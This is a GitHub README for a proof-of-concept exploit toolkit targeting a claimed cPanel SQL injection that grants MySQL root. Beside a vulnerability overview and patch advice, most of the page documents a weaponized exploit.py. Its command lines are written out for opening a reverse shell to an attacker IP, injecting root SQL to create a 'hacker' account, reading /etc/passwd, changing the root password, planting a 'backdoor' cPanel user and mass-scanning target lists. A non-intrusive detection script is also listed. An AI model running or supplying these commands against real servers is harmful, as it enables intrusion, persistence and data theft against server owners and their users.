CVEPoC

💥 CVE‑2026‑58048 – cPanel Root SQL Execution Toolkit

⚠️ ETHICAL USE ONLY – AUTHORIZED SECURITY TESTING
This repository provides tools for authorized security professionals, blue teams, and penetration testers only.
Unauthorized access to computer systems is illegal under CFAA (US), Computer Misuse Act (UK), TCK 243/244 (Turkey), and similar laws worldwide.

📖 Vulnerability Overview

CVE‑2026‑58048 is a critical SQL injection vulnerability in cPanel & WHM versions 11.x that allows an authenticated cPanel user to execute arbitrary SQL commands with MySQL root privileges via the database rename functionality.

How it works

Authenticated access required – the attacker must have a valid cPanel account (username/password) on the target server.
SQL mode manipulation – the exploit sets the MySQL session to ANSI_QUOTES mode, which changes the parsing behavior.
Database rename injection – when renaming a database, the new name is not properly sanitized, allowing the attacker to inject arbitrary SQL statements.
Root privileges – because the rename operation runs with MySQL root privileges, the injected SQL is executed with the highest database permissions.
Impact – full database takeover, privilege escalation, server compromise, data theft, backdoors, and lateral movement. Upgrade immediately!

Affected Versions

cPanel & WHM 11.110 and earlier – vulnerable
11.111 – 11.118 – vulnerable
11.119 – 11.126 – vulnerable
11.127 – 11.134 – vulnerable
11.135 – 11.136 – vulnerable
11.137.x – vulnerable below 11.137.1.6
11.138.1.6 and later – patched

Patch

Upgrade to cPanel & WHM 11.138.1.6 or newer.
If upgrade is not possible, disable MySQL rename operations for cPanel users as a temporary workaround.

🧰 Tools

Tool	Purpose	Intended User
`exploit.py`	Full weaponized toolkit with reverse shell, persistence, UDF RCE, file read/write, database operations, proxy support, and mass scanning.	Red teams / authorized pentesters

📊 Feature Comparison

🎯 Use Case Summary

⚙️ Installation

git clone https://github.com/tc4dy/CVE-2026-58048-PoC-Exploit
cd CVE-2026-58048
pip install -r requirements.txt

requirements.txt

requests
urllib3
colorama
pymysql

📋 Parameters

`exploit.py` Parameters

`safecheck.py` Parameters

💥 Scenarios

🧪 Endpoint & API Usage

The exploit uses the following cPanel UAPI endpoints:

🛡️ Responsible Use

Only use these tools on systems you own or have explicit written permission to test.
Unauthorized access is illegal and unethical.
The authors are not responsible for any misuse.
Always follow your country's laws and regulations.

This software is provided for educational purposes and authorized security testing only.

Vulnerability detection	✅	✅
Version detection	✅	✅
MySQL root SQL injection	✅	❌
Reverse shell	✅	❌
Persistence (cPanel user creation)	✅	❌
UDF RCE (command execution)	✅	❌
File read/write	✅	❌
Database operations (any SQL)	✅	❌
Proxy support	✅	✅
Mass scanning (multi‑thread)	✅	❌
Interactive shell	✅	❌
Non‑intrusive (safe) mode	❌	✅
Verbose/Debug mode	✅	✅
SSL verification control	✅	✅
Custom User‑Agent	✅	✅
Request delay / retries	✅	❌
JSON / report output	✅	✅
Endpoint accessibility check	❌	✅
SQL mode leakage detection	❌	✅

Blue Team – verifying if your cPanel installation is vulnerable	`safecheck.py`
Security Audit – non‑intrusive vulnerability assessment	`safecheck.py`
Red Team – authorized penetration testing with full exploitation	`exploit.py`
Bug Bounty – responsible disclosure testing	`safecheck.py`
Mass Scanning – checking multiple targets for vulnerability	`exploit.py` (detection only)
Incident Response – checking if systems are compromised	`safecheck.py`

`-t, --target`	Target cPanel URL (e.g. `https://cpanel.example.com:2083`)
`-l, --target-file`	File containing list of targets (one per line) for mass scanning
`-u, --mysql-user`	cPanel/MySQL username
`-P, --mysql-pass`	cPanel/MySQL password
`--mysql-port`	MySQL port (default: 3306)
`-p, --port`	Override cPanel port (default from URL or 2083)
`--threads`	Number of threads for multi‑target (default: 10)
`-o, --output`	Save results to file (single target)
`--log`	Log file for detailed output
`-v, --verbose`	Verbose output
`--proxy`	HTTP/HTTPS proxy (e.g. `http://127.0.0.1:8080`)
`-ua, --user-agent`	Custom User‑Agent
`--no-keep-alive`	Do not keep session alive
`--delay`	Delay between requests (default: 2.0s)
`--max-retries`	Max retries (default: 3)
`--ssl-verify`	Verify SSL certificates
`--cmd`	Command to execute (prefix with `sql:` or `udf:` for specific)
`--inject`	Custom SQL to inject (overrides other actions)
`--reverse-shell`	Reverse shell IP:PORT (uses UDF)
`--passwd`	Change root MySQL password
`--adduser`	Create cPanel user (USER DOMAIN PASSWORD)
`--read`	Read a file via `LOAD_FILE`
`-i, --interactive`	Interactive shell after exploit
`--verify`	Verify exploit success by attempting MySQL login
`--ping`	Ping target before exploitation

`-t, --target`	Target cPanel URL (e.g. `https://cpanel.example.com:2083`)
`-v, --verbose`	Verbose output
`--proxy`	HTTP/HTTPS proxy (e.g. `http://127.0.0.1:8080`)
`-ua, --user-agent`	Custom User‑Agent
`--ssl-verify`	Verify SSL certificates
`--timeout`	Request timeout in seconds (default: 10)
`--log`	Save report to file
`--json`	Output results in JSON format

1	Quick vulnerability check	`python safecheck.py -t https://cpanel.example.com:2083`
2	Detailed scan with report	`python safecheck.py -t https://cpanel.example.com:2083 --log report.txt --json -v`
3	Reverse shell	`python exploit.py -t https://cpanel.example.com:2083 -u user -P pass --reverse-shell 192.168.1.100:4444`
4	Execute custom SQL (root)	`python exploit.py -t https://cpanel.example.com:2083 -u user -P pass --inject "GRANT ALL PRIVILEGES ON . TO 'hacker'@'%' IDENTIFIED BY 'pwned'"`
5	Read sensitive file	`python exploit.py -t https://cpanel.example.com:2083 -u user -P pass --read /etc/passwd`
6	Change MySQL root password	`python exploit.py -t https://cpanel.example.com:2083 -u user -P pass --passwd NewRootPass123`
7	Create new cPanel user (persistence)	`python exploit.py -t https://cpanel.example.com:2083 -u user -P pass --adduser backdoor domain.com Parola123`
8	Interactive shell after exploitation	`python exploit.py -t https://cpanel.example.com:2083 -u user -P pass -i`
9	Mass scanning from file	`python exploit.py -l targets.txt -u user -P pass --threads 20 --output results.json`
10	Use proxy and custom User‑Agent	`python exploit.py -t https://cpanel.example.com:2083 -u user -P pass --proxy http://127.0.0.1:8080 -ua "Mozilla/5.0 (X11; Linux x86_64)"`

인기

소개

CVE-2026-58048-PoC-Exploit

`/execute/Mysql/create_database`	Create temporary database
`/execute/Mysql/delete_database`	Clean up created databases
`/execute/Mysql/rename_database`	Vulnerable endpoint – triggers SQL injection
`/execute/Version/get_version`	Authentication and version check
`/execute/UserManager/create_user`	Create new cPanel user (persistence)
`/execute/UserManager/list_users`	List existing users

인기

소개